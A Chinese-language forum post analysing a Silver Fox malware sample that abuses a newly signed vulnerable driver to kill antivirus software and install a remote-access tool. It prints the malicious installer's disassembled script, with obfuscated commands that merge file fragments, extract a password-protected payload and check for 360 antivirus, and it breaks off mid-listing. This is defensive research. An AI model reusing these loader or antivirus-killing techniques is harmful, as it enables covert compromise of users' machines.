-
UID:17777
-
- 注册时间2007-05-02
- 最后登录2026-02-21
- 在线时间19510小时
-
- 发帖861718
- 搜Ta的帖子
- 精华0
- 飞翔币127803
- 威望325932
- 飞扬币3918562
- 信誉值8
-
访问TA的空间加好友用道具
- 发帖
- 861718
- 飞翔币
- 127803
- 威望
- 325932
- 飞扬币
- 3918562
- 信誉值
- 8
|
持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒 软件一、背景在日常样本狩猎中,我们发现 捕获的一枚银狐样本尝试加载了先前未曾出现过的可疑驱动STProcessMonitor Driver,最终加载WinOs远控程序操控用户计算机。 该驱动通过了WHQL认证,具有"Safetica Technologies s.r.o."与"Microsoft Windows Hardware Compatibility Publisher"颁发的数字签名,签名时间为2025年5月9日 11:43:46,相当新鲜。  [font=-apple-system, BlinkMacSystemFont, "]经过分析,该STProcessMonitor Driver在没有经过目标验证的情况下,将结束进程功能的IOCTL暴露给用户模式。该漏洞使攻击者能够终止内核模式中的任意进程,通过BYOVD KillAV。  进一步溯源,我们发现,该批银狐行为者多次组合使用多种脆弱驱动干扰防病毒软件,肆意操纵用户计算机,并最终加载WinOs远控载荷,将用户计算机变为可以被黑客控制的“肉鸡”,先前已多次被国内 安全厂商发现并分析,可参考:2025年7月 金山毒霸安全团队/鹰眼威胁情报中心团队 《 "银狐"新进展:多Rootkit配合,内核InfinityHook+穿透读写》2025年11月 微步在线团队 《 连用四个驱动!银狐开始硬刚EDR和杀软 | 银狐十月总结》但是本次使用的STProcessMonitor Driver在先前并未使用过,在上述文章中也并未出现,是当前样本新添加的脆弱驱动利用。同时,鉴于该驱动在互联网、开源仓库、漏洞数据库中均未找到相关记录,且来自VirusTotal Relations的信息表明相关驱动至今仍有被分发的迹象,即相关驱动目前可能仍在被使用、分发,我们将其提交至CVE漏洞数据库并分配编号CVE-2025-70795(撰写本文时为RESERVED状态,待本文发布,并向 magicsword-io/LOLDrivers仓库提交后,会在合适的时机Apply for publication)。这也表明该批银狐行为者可能会在真实世界中主动搜寻和挖掘全新的漏洞驱动。 样本执行流程图请参考如下:  [font=-apple-system, BlinkMacSystemFont, "]本文思维导图请参考如下(按照复杂梯度排序):  [font=-apple-system, BlinkMacSystemFont, "] [font=-apple-system, BlinkMacSystemFont, "]二、样本分析A.) SetupSHA-256: 3ba89047b9fb9ae2281e06a7f10a407698174b201f28fc1cadb930207254e485该程序为使用Inno Setup打包的安装程序,如下图所示:  第一步,提取安装程序内的应用文件和安装程序内嵌文件(1) 安装程序内的应用文件包含: main.1 main.2 unzip.2 unzip.3其中,main.1具有7-Zip压缩包文件头,但单文件并不完整;unzip.3具有MZ头和PE头,但单文件并不完整。 [font=-apple-system, BlinkMacSystemFont, "]将main.1+main.2合并后可以确认为7-Zip加密压缩包;将unzip.3+unzip.2合并后可以确认为7-Zip Standalone Console (Signed by NVIDIA Corporation)。 [font=-apple-system, BlinkMacSystemFont, "] [font=-apple-system, BlinkMacSystemFont, "](2) 我们观察到安装程序内嵌文件CompiledCode.bin,这是一个编译后的IFPS脚本,如下图所示: [font=-apple-system, BlinkMacSystemFont, "]第二步,反汇编编译的IFPS脚本——CompiledCode.bin=>CompiledCode.txt,如下图所示: [font=-apple-system, BlinkMacSystemFont, "]1) "OBFUSCATEDEXTRACT"函数我们在该类汇编伪代码中,观察到一个可疑函数"OBFUSCATEDEXTRACT",函数原文如下: 复制代码 隐藏代码.function(export) void OBFUSCATEDEXTRACT() pushtype S32 ; StackCount = 1 pushtype UnicodeString_2 ; StackCount = 2 pushtype UnicodeString_2 ; StackCount = 3 pushtype UnicodeString_2 ; StackCount = 4 pushtype UnicodeString_2 ; StackCount = 5 pushtype UnicodeString_2 ; StackCount = 6 pushtype UnicodeString_2 ; StackCount = 7 pushtype UnicodeString_2 ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype UnicodeString_2 ; StackCount = 10 pushtype UnicodeString_2 ; StackCount = 11 pushtype UnicodeString_2 ; StackCount = 12 pushtype UnicodeString_2 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 7) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 99) assign Var15[ 1], S32( 109) assign Var15[ 2], S32( 100) assign Var15[ 3], S32( 46) assign Var15[ 4], S32( 101) assign Var15[ 5], S32( 120) assign Var15[ 6], S32( 101) assign Var14, Var15 pop ; StackCount = 14 pushvar Var2 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 137) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 47) assign Var15[ 1], S32( 99) assign Var15[ 2], S32( 32) assign Var15[ 3], S32( 99) assign Var15[ 4], S32( 111) assign Var15[ 5], S32( 112) assign Var15[ 6], S32( 121) assign Var15[ 7], S32( 32) assign Var15[ 8], S32( 47) assign Var15[ 9], S32( 98) assign Var15[ 10], S32( 32) assign Var15[ 11], S32( 47) assign Var15[ 12], S32( 121) assign Var15[ 13], S32( 32) assign Var15[ 14], S32( 34) assign Var15[ 15], S32( 67) assign Var15[ 16], S32( 58) assign Var15[ 17], S32( 92) assign Var15[ 18], S32( 85) assign Var15[ 19], S32( 115) assign Var15[ 20], S32( 101) assign Var15[ 21], S32( 114) assign Var15[ 22], S32( 115) assign Var15[ 23], S32( 92) assign Var15[ 24], S32( 80) assign Var15[ 25], S32( 117) assign Var15[ 26], S32( 98) assign Var15[ 27], S32( 108) assign Var15[ 28], S32( 105) assign Var15[ 29], S32( 99) assign Var15[ 30], S32( 92) assign Var15[ 31], S32( 68) assign Var15[ 32], S32( 111) assign Var15[ 33], S32( 99) assign Var15[ 34], S32( 117) assign Var15[ 35], S32( 109) assign Var15[ 36], S32( 101) assign Var15[ 37], S32( 110) assign Var15[ 38], S32( 116) assign Var15[ 39], S32( 115) assign Var15[ 40], S32( 92) assign Var15[ 41], S32( 109) assign Var15[ 42], S32( 97) assign Var15[ 43], S32( 105) assign Var15[ 44], S32( 110) assign Var15[ 45], S32( 46) assign Var15[ 46], S32( 49) assign Var15[ 47], S32( 34) assign Var15[ 48], S32( 32) assign Var15[ 49], S32( 43) assign Var15[ 50], S32( 32) assign Var15[ 51], S32( 34) assign Var15[ 52], S32( 67) assign Var15[ 53], S32( 58) assign Var15[ 54], S32( 92) assign Var15[ 55], S32( 85) assign Var15[ 56], S32( 115) assign Var15[ 57], S32( 101) assign Var15[ 58], S32( 114) assign Var15[ 59], S32( 115) assign Var15[ 60], S32( 92) assign Var15[ 61], S32( 80) assign Var15[ 62], S32( 117) assign Var15[ 63], S32( 98) assign Var15[ 64], S32( 108) assign Var15[ 65], S32( 105) assign Var15[ 66], S32( 99) assign Var15[ 67], S32( 92) assign Var15[ 68], S32( 68) assign Var15[ 69], S32( 111) assign Var15[ 70], S32( 99) assign Var15[ 71], S32( 117) assign Var15[ 72], S32( 109) assign Var15[ 73], S32( 101) assign Var15[ 74], S32( 110) assign Var15[ 75], S32( 116) assign Var15[ 76], S32( 115) assign Var15[ 77], S32( 92) assign Var15[ 78], S32( 109) assign Var15[ 79], S32( 97) assign Var15[ 80], S32( 105) assign Var15[ 81], S32( 110) assign Var15[ 82], S32( 46) assign Var15[ 83], S32( 50) assign Var15[ 84], S32( 34) assign Var15[ 85], S32( 32) assign Var15[ 86], S32( 34) assign Var15[ 87], S32( 67) assign Var15[ 88], S32( 58) assign Var15[ 89], S32( 92) assign Var15[ 90], S32( 85) assign Var15[ 91], S32( 115) assign Var15[ 92], S32( 101) assign Var15[ 93], S32( 114) assign Var15[ 94], S32( 115) assign Var15[ 95], S32( 92) assign Var15[ 96], S32( 80) assign Var15[ 97], S32( 117) assign Var15[ 98], S32( 98) assign Var15[ 99], S32( 108) assign Var15[ 100], S32( 105) assign Var15[ 101], S32( 99) assign Var15[ 102], S32( 92) assign Var15[ 103], S32( 68) assign Var15[ 104], S32( 111) assign Var15[ 105], S32( 99) assign Var15[ 106], S32( 117) assign Var15[ 107], S32( 109) assign Var15[ 108], S32( 101) assign Var15[ 109], S32( 110) assign Var15[ 110], S32( 116) assign Var15[ 111], S32( 115) assign Var15[ 112], S32( 92) assign Var15[ 113], S32( 109) assign Var15[ 114], S32( 97) assign Var15[ 115], S32( 105) assign Var15[ 116], S32( 110) assign Var15[ 117], S32( 90) assign Var15[ 118], S32( 84) assign Var15[ 119], S32( 116) assign Var15[ 120], S32( 82) assign Var15[ 121], S32( 106) assign Var15[ 122], S32( 84) assign Var15[ 123], S32( 102) assign Var15[ 124], S32( 121) assign Var15[ 125], S32( 104) assign Var15[ 126], S32( 78) assign Var15[ 127], S32( 73) assign Var15[ 128], S32( 68) assign Var15[ 129], S32( 67) assign Var15[ 130], S32( 65) assign Var15[ 131], S32( 70) assign Var15[ 132], S32( 46) assign Var15[ 133], S32( 120) assign Var15[ 134], S32( 109) assign Var15[ 135], S32( 108) assign Var15[ 136], S32( 34) assign Var14, Var15 pop ; StackCount = 14 pushvar Var3 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype BOOLEAN ; StackCount = 14 pushtype Pointer ; StackCount = 15 setptr Var15, Var1 pushtype U8_4 ; StackCount = 16 assign Var16, U8_4( 1) pushtype S32 ; StackCount = 17 assign Var17, S32( 0) pushtype UnicodeString_2 ; StackCount = 18 assign Var18, String_3( "") pushtype UnicodeString_2 ; StackCount = 19 assign Var19, Var3 pushtype UnicodeString_2 ; StackCount = 20 assign Var20, Var2 pushvar Var14 ; StackCount = 21 call EXEC pop ; StackCount = 20 pop ; StackCount = 19 pop ; StackCount = 18 pop ; StackCount = 17 pop ; StackCount = 16 pop ; StackCount = 15 pop ; StackCount = 14 sfz Var14 pop ; StackCount = 13 jf loc_196d pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 25) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 67) assign Var15[ 1], S32( 58) assign Var15[ 2], S32( 92) assign Var15[ 3], S32( 85) assign Var15[ 4], S32( 115) assign Var15[ 5], S32( 101) assign Var15[ 6], S32( 114) assign Var15[ 7], S32( 115) assign Var15[ 8], S32( 92) assign Var15[ 9], S32( 80) assign Var15[ 10], S32( 117) assign Var15[ 11], S32( 98) assign Var15[ 12], S32( 108) assign Var15[ 13], S32( 105) assign Var15[ 14], S32( 99) assign Var15[ 15], S32( 92) assign Var15[ 16], S32( 68) assign Var15[ 17], S32( 111) assign Var15[ 18], S32( 99) assign Var15[ 19], S32( 117) assign Var15[ 20], S32( 109) assign Var15[ 21], S32( 101) assign Var15[ 22], S32( 110) assign Var15[ 23], S32( 116) assign Var15[ 24], S32( 115) assign Var14, Var15 pop ; StackCount = 14 pushvar Var4 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 7) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 92) assign Var15[ 1], S32( 109) assign Var15[ 2], S32( 97) assign Var15[ 3], S32( 105) assign Var15[ 4], S32( 110) assign Var15[ 5], S32( 46) assign Var15[ 6], S32( 49) assign Var14, Var15 pop ; StackCount = 14 pushvar Var7 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 7) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 92) assign Var15[ 1], S32( 109) assign Var15[ 2], S32( 97) assign Var15[ 3], S32( 105) assign Var15[ 4], S32( 110) assign Var15[ 5], S32( 46) assign Var15[ 6], S32( 50) assign Var14, Var15 pop ; StackCount = 14 pushvar Var8 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype BOOLEAN ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype WideString ; StackCount = 16 assign Var16, Var4 add Var16, Var7 assign Var15, Var16 pop ; StackCount = 15 pushvar Var14 ; StackCount = 16 call DELETEFILE pop ; StackCount = 15 pop ; StackCount = 14 pop ; StackCount = 13 pushtype BOOLEAN ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype WideString ; StackCount = 16 assign Var16, Var4 add Var16, Var8 assign Var15, Var16 pop ; StackCount = 15 pushvar Var14 ; StackCount = 16 call DELETEFILE pop ; StackCount = 15 pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 11) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 92) assign Var15[ 1], S32( 102) assign Var15[ 2], S32( 117) assign Var15[ 3], S32( 110) assign Var15[ 4], S32( 122) assign Var15[ 5], S32( 105) assign Var15[ 6], S32( 112) assign Var15[ 7], S32( 46) assign Var15[ 8], S32( 101) assign Var15[ 9], S32( 120) assign Var15[ 10], S32( 101) assign Var14, Var15 pop ; StackCount = 14 pushvar Var5 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 24) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 92) assign Var15[ 1], S32( 109) assign Var15[ 2], S32( 97) assign Var15[ 3], S32( 105) assign Var15[ 4], S32( 110) assign Var15[ 5], S32( 90) assign Var15[ 6], S32( 84) assign Var15[ 7], S32( 116) assign Var15[ 8], S32( 82) assign Var15[ 9], S32( 106) assign Var15[ 10], S32( 84) assign Var15[ 11], S32( 102) assign Var15[ 12], S32( 121) assign Var15[ 13], S32( 104) assign Var15[ 14], S32( 78) assign Var15[ 15], S32( 73) assign Var15[ 16], S32( 68) assign Var15[ 17], S32( 67) assign Var15[ 18], S32( 65) assign Var15[ 19], S32( 70) assign Var15[ 20], S32( 46) assign Var15[ 21], S32( 120) assign Var15[ 22], S32( 109) assign Var15[ 23], S32( 108) assign Var14, Var15 pop ; StackCount = 14 pushvar Var6 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype WideString ; StackCount = 14 assign Var14, Var4 add Var14, Var5 assign Var11, Var14 pop ; StackCount = 13 pushtype WideString ; StackCount = 14 assign Var14, Var4 add Var14, Var6 assign Var12, Var14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 10) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 104) assign Var15[ 1], S32( 116) assign Var15[ 2], S32( 76) assign Var15[ 3], S32( 99) assign Var15[ 4], S32( 69) assign Var15[ 5], S32( 78) assign Var15[ 6], S32( 121) assign Var15[ 7], S32( 82) assign Var15[ 8], S32( 70) assign Var15[ 9], S32( 89) assign Var14, Var15 pop ; StackCount = 14 pushvar Var9 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 10) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var15[ 0], S32( 119) assign Var15[ 1], S32( 88) assign Var15[ 2], S32( 115) assign Var15[ 3], S32( 72) assign Var15[ 4], S32( 70) assign Var15[ 5], S32( 110) assign Var15[ 6], S32( 85) assign Var15[ 7], S32( 110) assign Var15[ 8], S32( 113) assign Var15[ 9], S32( 75) assign Var14, Var15 pop ; StackCount = 14 pushvar Var10 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype WideString ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 7) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 120) assign Var17[ 1], S32( 32) assign Var17[ 2], S32( 45) assign Var17[ 3], S32( 121) assign Var17[ 4], S32( 32) assign Var17[ 5], S32( 45) assign Var17[ 6], S32( 112) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 add Var14, Var9 add Var14, Var10 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 4) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 32) assign Var17[ 1], S32( 45) assign Var17[ 2], S32( 111) assign Var17[ 3], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 add Var14, Var4 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 3) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 34) assign Var17[ 1], S32( 32) assign Var17[ 2], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 add Var14, Var12 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 1) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushtype BOOLEAN ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 assign Var15, Var11 pushvar Var14 ; StackCount = 16 call FILEEXISTS pop ; StackCount = 15 pop ; StackCount = 14 jz loc_ 18bc, Var14 pushtype BOOLEAN ; StackCount = 15 pushtype UnicodeString_2 ; StackCount = 16 assign Var16, Var12 pushvar Var15 ; StackCount = 17 call FILEEXISTS pop ; StackCount = 16 pop ; StackCount = 15 and Var14, Var15 pop ; StackCount = 14loc_18bc: sfz Var14 pop ; StackCount = 13 jf loc_196d pushtype BOOLEAN ; StackCount = 14 pushtype Pointer ; StackCount = 15 setptr Var15, Var1 pushtype U8_4 ; StackCount = 16 assign Var16, U8_4( 1) pushtype S32 ; StackCount = 17 assign Var17, S32( 0) pushtype UnicodeString_2 ; StackCount = 18 assign Var18, String_3( "") pushtype UnicodeString_2 ; StackCount = 19 assign Var19, Var13 pushtype UnicodeString_2 ; StackCount = 20 assign Var20, Var11 pushvar Var14 ; StackCount = 21 call EXEC pop ; StackCount = 20 pop ; StackCount = 19 pop ; StackCount = 18 pop ; StackCount = 17 pop ; StackCount = 16 pop ; StackCount = 15 pop ; StackCount = 14 pop ; StackCount = 13 pushtype BOOLEAN ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 assign Var15, Var12 pushvar Var14 ; StackCount = 16 call DELETEFILE pop ; StackCount = 15 pop ; StackCount = 14 pop ; StackCount = 13loc_196d: ret 其中,我们观察到大量ASCII码,例如在开头的[99, 109, 100, 46, 101, 120, 101]即对应cmd.exe: 复制代码 隐藏代码 assign Var15[ 0], S32( 99) ; 'c' assign Var15[ 1], S32( 109) ; 'm' assign Var15[ 2], S32( 100) ; 'd' assign Var15[ 3], S32( 46) ; '.' assign Var15[ 4], S32( 101) ; 'e' assign Var15[ 5], S32( 120) ; 'x' assign Var15[ 6], S32( 101) ; 'e'在该函数中包含多个ASCII码数组,用于构建字符串并执行命令。字符串通过数组编码(如[67, 58, 92, ...]对应ASCII码,解码后为C:...),增加反分析难度。 以下是所有数组的ASCII码还原结果及其对应的字符串: 第一个数组(7字节)ASCII码:99, 109, 100, 46, 101, 120, 101字符串:"cmd.exe" 第二个数组(137字节)ASCII码:47, 99, 32, 99, 111, 112, 121, 32, 47, 98, 32, 47, 121, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 46, 49, 34, 32, 43, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 46, 50, 34, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 90, 84, 116, 82, 106, 84, 102, 121, 104, 78, 73, 68, 67, 65, 70, 46, 120, 109, 108, 34字符串:"/c copy /b /y "C:UsersPublicDocumentsmain.1" + "C:UsersPublicDocumentsmain.2" "C:UsersPublicDocumentsmainZTtRjTfyhNIDCAF.xml"" 第三个数组(25字节)ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115字符串:"C:UsersPublicDocuments" 第四个数组(7字节)ASCII码:92, 109, 97, 105, 110, 46, 49字符串:"main.1" 第五个数组(7字节)ASCII码:92, 109, 97, 105, 110, 46, 50字符串:"main.2" 第六个数组(11字节)ASCII码:92, 102, 117, 110, 122, 105, 112, 46, 101, 120, 101字符串:"funzip.exe" 第七个数组(24字节)ASCII码:92, 109, 97, 105, 110, 90, 84, 116, 82, 106, 84, 102, 121, 104, 78, 73, 68, 67, 65, 70, 46, 120, 109, 108字符串:"mainZTtRjTfyhNIDCAF.xml" 第八个数组(10字节)ASCII码:104, 116, 76, 99, 69, 78, 121, 82, 70, 89字符串:"htLcENyRFY" 第九个数组(10字节)ASCII码:119, 88, 115, 72, 70, 110, 85, 110, 113, 75字符串:"wXsHFnUnqK" 第十个数组(7字节)ASCII码:120, 32, 45, 121, 32, 45, 112字符串:"x -y -p" 第十一个数组(4字节)ASCII码:32, 45, 111, 34字符串:" -o"" 第十二个数组(3字节)ASCII码:34, 32, 34字符串:"" "" 第十三个数组(1字节)ASCII码:34字符串:"""
该函数依次执行以下功能: - 执行cmd.exe /c copy /b /y,将C:UsersPublicDocumentsmain.1和main.2合并为mainZTtRjTfyhNIDCAF.xml
- 删除main.1和main.2文件
- 检查funzip.exe和mainZTtRjTfyhNIDCAF.xml文件是否存在,如果存在则执行: funzip.exe x -y -p htLcENyRFYwXsHFnUnqK -o"C:UsersPublicDocuments" "C:UsersPublicDocumentsmainZTtRjTfyhNIDCAF.xml",解压mainZTtRjTfyhNIDCAF.xml文件
- 删除mainZTtRjTfyhNIDCAF.xml文件
于是我们得到mainZTtRjTfyhNIDCAF.xml文件解压密码为"htLcENyRFYwXsHFnUnqK",解压后可得到: men.exe man100.dat Server.log.即释放men.exe man100.dat Server.log. [font=-apple-system, BlinkMacSystemFont, "]其中,man100.dat是一个Zip压缩包,解压后可得到: temp_adjust.dat temp_filler.dat2) "YQMBPLIVKAXLBBKHOYPB"函数我们在该类汇编伪代码中,观察到一个可疑函数"YQMBPLIVKAXLBBKHOYPB",函数原文如下: 复制代码 隐藏代码.function(export) void YQMBPLIVKAXLBBKHOYPB() pushtype BOOLEAN ; StackCount = 1 pushtype UnicodeString_2 ; StackCount = 2 pushtype UnicodeString_2 ; StackCount = 3 pushtype UnicodeString_2 ; StackCount = 4 pushtype UnicodeString_2 ; StackCount = 5 pushtype UnicodeString_2 ; StackCount = 6 pushtype S32 ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushvar Var8 ; StackCount = 9 call INITIALIZESETUP pop ; StackCount = 8 pop ; StackCount = 7 pushvar Var1 ; StackCount = 8 call IS360PROCESSRUNNING pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 assign Var8, Var1 setz Var8 sfz Var8 pop ; StackCount = 7 jf loc_ 263f pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 1) pushtype S32 ; StackCount = 11 assign Var11, S32( 0) pushtype UnicodeString_2 ; StackCount = 12 assign Var12, String_3( "") pushtype UnicodeString_2 ; StackCount = 13 pushtype WideString ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 12) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 47) assign Var17[ 1], S32( 99) assign Var17[ 2], S32( 32) assign Var17[ 3], S32( 99) assign Var17[ 4], S32( 111) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 121) assign Var17[ 7], S32( 32) assign Var17[ 8], S32( 47) assign Var17[ 9], S32( 98) assign Var17[ 10], S32( 32) assign Var17[ 11], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 13) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 51) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 43) assign Var17[ 11], S32( 32) assign Var17[ 12], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, 